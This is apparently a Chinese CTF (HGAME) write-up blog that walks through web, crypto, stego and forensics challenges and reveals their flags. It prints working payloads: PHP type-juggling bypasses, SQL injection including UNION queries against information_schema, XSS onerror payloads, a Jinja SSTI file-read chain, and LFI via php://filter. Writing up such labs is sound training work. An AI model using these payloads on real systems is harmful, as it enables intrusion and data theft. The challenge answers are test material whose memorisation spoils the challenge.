点击阅读
1. Are you from Europe?
flag肯定不是抽出来的吧
果然view-source发现一行代码
1 | eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('w p(){b a=l("8!k,j 8 o 1 m?");5(!$("#4").7()&&!$("#9").7()){2("i。");f}b 1="";1+="";1+="";1+="";1+="y";1+="{";1+="g";1+="h";1+="3";1+="6";1+="v";1+="h";1+="0";1+="s";1+="e";1+="u";1+="6";1+="0";1+="n";1+="r";1+="!";1+="}";5(a){$("#4").d();$("#9").d();2("t。1: "+1)}q{2("x。")}}',35,35,'|flag|alert||serv5|if|_|html|SSR|craft5|buy|var||remove||return|T||你根本不是欧洲人|你愿意献祭你全部的|欧洲人|confirm|吗||来获取|soHappy|else|E||兑换成功|N|C|function|你失去了唯一的机会|hgame'.split('|'),0,{})) |
肯定是关键,但看不懂,百度知道原来是加密了
花点时间找到了个JS解密的html代码,即
1 |
|
我在JS eval(function(p,a,c,k,e,r){e=function(c)*****解密 - dudumao - 博客园
找的
然后运行,把eval代码放进去
注意删掉eval前的空格
这其实就能看到flag了,如果感觉别扭可以去站长工具把混乱的代码格式化
把其中形如flag += "";
的连起来就是flag了
2. special number
代码:
1 | include_once("flag.php"); |
这个题做了好久。。
关键在
1 | $lock="******************"; |
一直没找到正确的绕过姿势
网上不少$message->key = $key
这样的,和这里不一样
json字符串形如
var b='{"name":"2323","sex":"afasdf","age":"6262"}';//json字符串
还得利用0=="xxx"
这种形式绕过
后来不知在哪看的0e开头的字符串绕过,用key={"key":0e123}
这类的,怎么都不行
直接key=0e123123
就行。。。前面正则要求至少7个字母和数字的字符
3. can u find me?
起初,页面只有一行提示:only robot know where is the flag
推测可能有个robot相关的文件,御剑后台扫描
robots.txt内容如下:
1 | User-agent: * |
进入/f1aaaaaaaag.php
,页面显示you are not admin
抓包分析
把Cookie: user=guest
改为Cookie: user=admin
就行了
flag
4. tell me what you want
这个题就根据提示,一步步修改request就行了
随便输入后提示POST is better,post后提示
https://www.wikiwand.com/en/X-Forwarded-For,only localhost can get flag
经过一连明显的串提示,最终一共要修改4处
得到flag
5. 我们不一样
代码如下:
1 | include_once("flag.php"); |
这是比较简单的了
post的str1和str2不相等,但是strcmp弱类型相等,要利用strcmp漏洞绕过,php版本好像要小于5.3才可以利用
strcmp是比较两个字符串,如果
str1<str2
则返回<0
如果str1大于str2返回>0
如果两者相等 返回0,传入password[]=xxx
可以绕过 是因为函数接受到了不符合的类型,将发生错误,但是还是判断其相等
所以post:str1=xxx&str2[]=xxx
,一个数组一个字符串,得到flag
白菜2
有个提示:初识文件结构
是一个图片隐写
binwalk一跑,有个flag.txt,在foremost分离就行啦
终端里看不出来flag,把得到的zip包解压就行了
flag
最简单的sql题
描述
Only admin can get flag!!!!!
admin登陆,password不知道
看下
http://118.25.18.223:10015/?username=admin&pwd=xxx'
然后用最常见的?username=admin&pwd=xxx' or '1'='1
即可得到flag
xss-1
根据代码,alert(1)
1 | function charge(input) { input = input.replace(/script/gi, '_'); input = input.replace(/image/gi, '_'); input = input.replace(/\(/, '_'); return '<article>' + input + '</article>'; } |
看了下js的正则表达,它会替换script,image,还有(,
可以用img标签
之前做过一个把<>
换成\u003\u003e
来绕过<>
过滤的题
这里类比一下,想把()
换成\u0028\u0029
结果不行,就试了试网站上的unicode转码
playload:
<img src="1" onerror="alert(1)">
alert(1)
整个转成unicode也行
<img src="1" onerror="alert(1)">
拿到的flag是hgame
xss-2
这个题增加了过滤,并且在input标签内
return '<input value="' + input + '" type="text">';
输入的内容会和<input value="
、" type="text">
拼接起来
百度input xss注入
感觉跟sql注入有类似的地方
当时看了好几篇文章,还可以00截断
把过滤的用unicode转一下,发现去掉<img >
是可以的,后面加个%00
x" type="image" src="1" onerror="alert(1)" name="xx">%00
其实就是<input value="x" type="image" src="x" onerror="alert(1)" name="xx">
也可以不用截断
1 | 1" type="image" <img src="1" onerror="alert(1)"> name="1 |
发现还能更简短
x" type="image" src="1" onerror="alert(1)
拿到的flag是hgame
送分的SQLi
这个简单的还是可以做的
id,可以查询到chutiren和admin
order by 查询字段,表示只有两个
查询数据库
http://118.25.18.223:10068/?id=1%20union%20select%201,database()#
库名叫week3_sqliiii2
查询库里的表名
http://118.25.18.223:10068/?id=1%20union%20select%201,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%20=%20%27week3_sqliiii2%27)%23
接下来明显要查f111aa4g这个表的列
http://118.25.18.223:10068/?id=1%20union%20select%201,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema%20=%20%27week3_sqliiii2%27%20and%20table_name=%27f111aa4g%27)%23
获取flag
http://118.25.18.223:10068/?id=1%20union%20select%201,(select%20group_concat(id,%27*%27,dajiangyoude,%27*%27,f111aaaggg_w3)%20from%20week3_sqliiii2.f111aa4g)%23
ngc’s blog
描述
ngc的博客
hint:ngc不想用php,于是我向他推荐了flask ——ash
看到flash,关键得到表哥的提示ssti注入
我百度到一篇文章
服务端模板注入(SSTI攻击) - tyomcat - 博客园
虽然不怎么懂,不过照做就行
把
1 | {{ ''.__class__.__mro__[2].__subclasses__() }} |
放到url后面
看这跟文章里一样,也有<type 'file'>
类,
我不知道索引在哪看的,把后面代码的/etc/passwd
改成flag
因为,题目里有提示,flag在flag里
然后就得到flag了
1 | {{ ''.__class__.__mro__[2].__subclasses__()[40]('flag').read() }} |
easy Caesar
题目描述:相信你们都知道啥是凯撒加密的,so Ciphertext:vuoas{Hvs_ei8qy_pf7kb_1l_xIadg_cjSf_o_Zo9m_rCu}
凯撒解密
flag居然不对,纳闷了好久。。
感觉数字有问题,发现所有列举出来的结果中,数字都没变
把8改成1较合理,同样7改0,9改7,两两相差7,唯独1不知道改什么
挨个试试,发现1改4。。
所以flag是
hgame{The_qu1ck_br0wn_4x_jUmps_ovEr_a_La2y_dOg}
confusion
题目是一段–/.-./.-../-/-.-/-…./-.-/-..-/-./…-/–../-..-/–.-/.–/-…/…/-./.-/..—/..-./…/..-/..—/–./–./-…/…/.–/….-/…../-…/…/.-../.-/–../..-./..-/-…./…/…-/.—/-…/-./-../.-/–../…/.-./…./..-/-…./–.-/-…-/-…-/-…-/-…-
一猜就是摩斯密码
得到的一段还以为是base64,转出来是乱码,那就是base32了
直接在IDLE里转了,转完32,还得转次63
花括号这么靠后,不是flag标准形式,因该是栅栏解密
明显还得再用凯撒解密
列出所有组合,得到flag
re0
下载了一个re0.exe,放到ida里
f5查看伪代码
就得到了flag
pacp1
下载flag.pcap,wireshark分析
嗯。。在分组详情里面搜索hgame字符串就行了
草莓社区-1
描述
flag在../flag.php
中
知识点:LFI
本地包含
试下那个flag.php,最后要这样写
118.25.18.223:10011/show_maopian.php?mao=../flag.php
抓包,在response里得到flag
还必须是../flag
,必须两个点。。
草莓社区-2
和草莓社区-1差不多,在../flag
里
这里可通过PHP内置协议直接读取../flag
的代码
之前做过类似的题,blog上有记录,直接搬过来改一改
php://filter/read=convert.base64-encode/resource=../flag.php
同草莓社区-1一样加在show_maopian.php?mao=
后面
flag还是在response里,将返回的base64解码即可
White cosmos
压缩包内有个pure.txt,内容好像是一些空格,反正没有文字
hex fiend看一看
这个0x09
就是tab键,0x20
可能空格吧
我就把09当”-“
,20当”.“
,空格当”/“
分隔,转成了摩尔斯码
解码后是
QHZ%ueZFQCZC%ufPC%ueZCQBZPPHQCZCY%uePLY%ueC%ueQHXF%ueBZCY%ue%ueP%ueHPBZPZC%ufK
感觉不对,回头把09当1,20当0转成二进制
结果转不出来,于是将hgame转成二进制对比发现开头得加个0!
flag
easy password
描述
听说你们有人喜欢暴力解题,那么就来暴力一下,测测电脑性能吧。
hint:小写字母+数字
我还以为伪加密,没折腾出来
老实爆破了
flag
hgame{0pos_You_5ound_m3_HAHA}